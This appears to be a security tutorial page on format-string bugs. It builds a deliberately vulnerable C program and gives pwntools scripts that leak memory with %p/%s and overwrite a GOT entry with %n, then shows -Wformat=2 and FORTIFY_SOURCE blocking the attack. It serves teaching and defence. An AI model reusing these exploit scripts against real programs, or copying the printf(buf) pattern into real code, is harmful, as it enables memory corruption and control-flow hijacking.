Skip to content

Format-String Bugs: Arbitrary Read and Write

One printf(user_input) is a full read/write primitive. Leak with %p, overwrite with %n via pwntools, then watch -Wformat=2 and FORTIFY_SOURCE shut it down.

Published on 4 min read

This is the fourth walkthrough in the Exploitation Techniques area. So far every technique started from a stack overflow. This one starts from something that looks utterly harmless — a logging line — and yields a full arbitrary read and write primitive, often without corrupting anything by overflow at all.

The bug class is CWE-134, and its concept side is covered in integer overflows and format strings. Here we weaponize it in the lab, then watch the compiler and glibc shut it down.

Why one missing "%s" is a primitive

printf reads its first argument as a format string and fetches further arguments to satisfy each specifier. If the attacker controls that string, they control the specifiers:

SpecifierEffectGives the attacker
%p / %xPrint a stack/register valueMemory + stack layout leaks
%sDereference a pointer argument and print itArbitrary read
%nWrite "chars printed so far" to a pointer argumentArbitrary write
%7$pAccess the 7th argument directlyReach a value the attacker planted

That last positional form is the key that turns theory into a tool: the attacker puts a target address in the input, then references it by argument position.

The target

/* vuln.c — the bug is printf(buf), not printf("%s", buf). */
#include <stdio.h>
#include <unistd.h>

int main(void) {
    char buf[128];
    setvbuf(stdout, NULL, _IONBF, 0);
    while (1) {
        ssize_t n = read(0, buf, sizeof(buf) - 1);
        if (n <= 0) break;
        buf[n] = '\0';
        printf(buf);          /* CWE-134: user controls the format string */
    }
    return 0;
}

Build it with the format warnings off so it compiles (we turn them on at the end):

gcc -fno-stack-protector -no-pie -Wno-format -O0 -g -o vuln vuln.c

Step 1 — find our offset on the stack

Send a marker followed by several %p. Whichever %p prints the marker tells us which argument index our input sits at.

$ ./vuln
AAAAAAAA %p %p %p %p %p %p %p %p
AAAAAAAA 0x7ffd... 0x0 0x1 0x7f... 0x4141414141414141 ...

Here 0x4141414141414141 ("AAAAAAAA") appears at the 5th %p, so our buffer is argument 6 (the marker is 8 bytes; positions shift by the fixed leading arguments). pwntools automates finding this:

from pwn import *
context.binary = ELF("./vuln")

def exec_fmt(payload):
    p = process("./vuln"); p.sendline(payload); return p.recvline()

fmt = FmtStr(exec_fmt)           # probes the offset automatically
log.success("format-string arg offset: %d", fmt.offset)

Step 2 — arbitrary read

Read any address by placing it in the input and dereferencing with %s at our offset. To leak, say, a GOT entry (a libc pointer):

from pwn import *
context.binary = elf = ELF("./vuln")

io = process("./vuln")
target = elf.got["read"]                 # address we want to read
# %7$s  → treat argument 7 as a char* and print it; address supplied inline
payload = b"%7$s".ljust(8, b" ") + p64(target)
io.sendline(payload)
leak = io.recvline()
log.success("bytes at read@got: %s", enhex(leak[:6]))

That is an arbitrary read: the pointer we control (target) is dereferenced and its contents printed — enough to defeat ASLR by leaking a libc pointer, exactly like the ret2libc leak.

Step 3 — arbitrary write with %n

%n writes the number of characters printed so far to a pointer argument. Control the count with a field width, control the pointer with the input, and you write a chosen value to a chosen address. Doing this by hand means splitting the write into byte-sized chunks; pwntools' fmtstr_payload does the arithmetic:

from pwn import *
context.binary = elf = ELF("./vuln")

io = process("./vuln")
# overwrite the GOT entry for exit() with the address of a win() / system call
writes = { elf.got["exit"]: elf.symbols["main"] }   # example: loop instead of exit
payload = fmtstr_payload(6, writes)                 # 6 = our arg offset
io.sendline(payload)

Point that write at a saved return address, a GOT entry (see the next guide), or a function pointer, and the arbitrary write becomes control-flow hijack. No overflow was needed — just a format string.

Turn the mitigations back on

Compile-time: -Wformat=2

gcc -Wformat=2 -Wformat-security -Werror -O0 vuln.c -o vuln_safe
vuln.c:11:16: error: format not a string literal and no format arguments [-Werror=format-security]
   11 |         printf(buf);
      |                ^~~

The build simply fails. This is the cheapest and most complete defence: the bug never ships. Every C/C++ project should compile with -Wformat=2 -Wformat-security, ideally as -Werror.

Runtime: FORTIFY_SOURCE

gcc -D_FORTIFY_SOURCE=2 -O2 -Wno-format vuln.c -o vuln_fortify

With FORTIFY, glibc refuses a %n when the format string sits in writable memory:

*** %n in writable segment detected ***

Step 3's write primitive is dead. Note the limit: %p/%s reads still work, so FORTIFY narrows the bug to a leak rather than removing it. Reads plus a separate corruption bug can still be dangerous.

DefenceBlocks the read (%s/%p)?Blocks the write (%n)?
-Wformat=2 -Wformat-security (compile)Yes — code won't buildYes
-D_FORTIFY_SOURCE=2 (runtime)NoYes (writable format)
Full RELRONoOnly protects the GOT specifically

What this teaches a defender

  • This is a compiler-catchable bug. Unlike overflows, a format-string vulnerability is almost always visible to -Wformat=2 at build time. If your CI does not fail on -Wformat-security, turn it on today — see binary hardening flags.
  • A "read-only" bug is still an ASLR-defeating leak. Even where FORTIFY blocks %n, the %s read hands an attacker the libc base. Treat information-disclosure format strings as serious, not cosmetic.
  • Grep is your friend. printf, fprintf, snprintf, syslog, err/warn with a non-literal first argument are all suspect. A quick audit finds most of them.

Key takeaways

  • A user-controlled format string is a full arbitrary read (%s/%p) and write (%n) primitive — no overflow required.
  • Find your argument offset with %p probing or pwntools' FmtStr; build writes with fmtstr_payload.
  • Point the write at a return address or GOT entry to convert it into code execution.
  • -Wformat=2 -Wformat-security prevents the bug at compile time; FORTIFY_SOURCE blocks %n at runtime but not reads.

Next: hijacking the GOT — where an arbitrary write like this one is aimed at the Global Offset Table, and Full RELRO decides whether it lands.

Related guides

0x7000 · Exploitation Techniques

Hijacking the GOT: Redirecting a libc Call

Lazy binding leaves the Global Offset Table writable. Aim an arbitrary write at a GOT entry, turn puts() into system(), then enable Full RELRO and watch the same write fault instantly.

0x8000 · ARM64 Exploitation

ARM64 Exploitation: the Link Register and ret2win

On AArch64 the return address lives in a register, not on the stack — until a non-leaf function saves it. Build the ARM ret2win in a lab and see where the saved link register sits.

0x8000 · ARM64 Exploitation

ROP on ARM64: Gadgets and the Link Register

AArch64 gadgets end in ret, which branches to x30 — so the chain is threaded through the link register with ldp gadgets. Build a system("/bin/sh") chain, then watch PAC and BTI break it.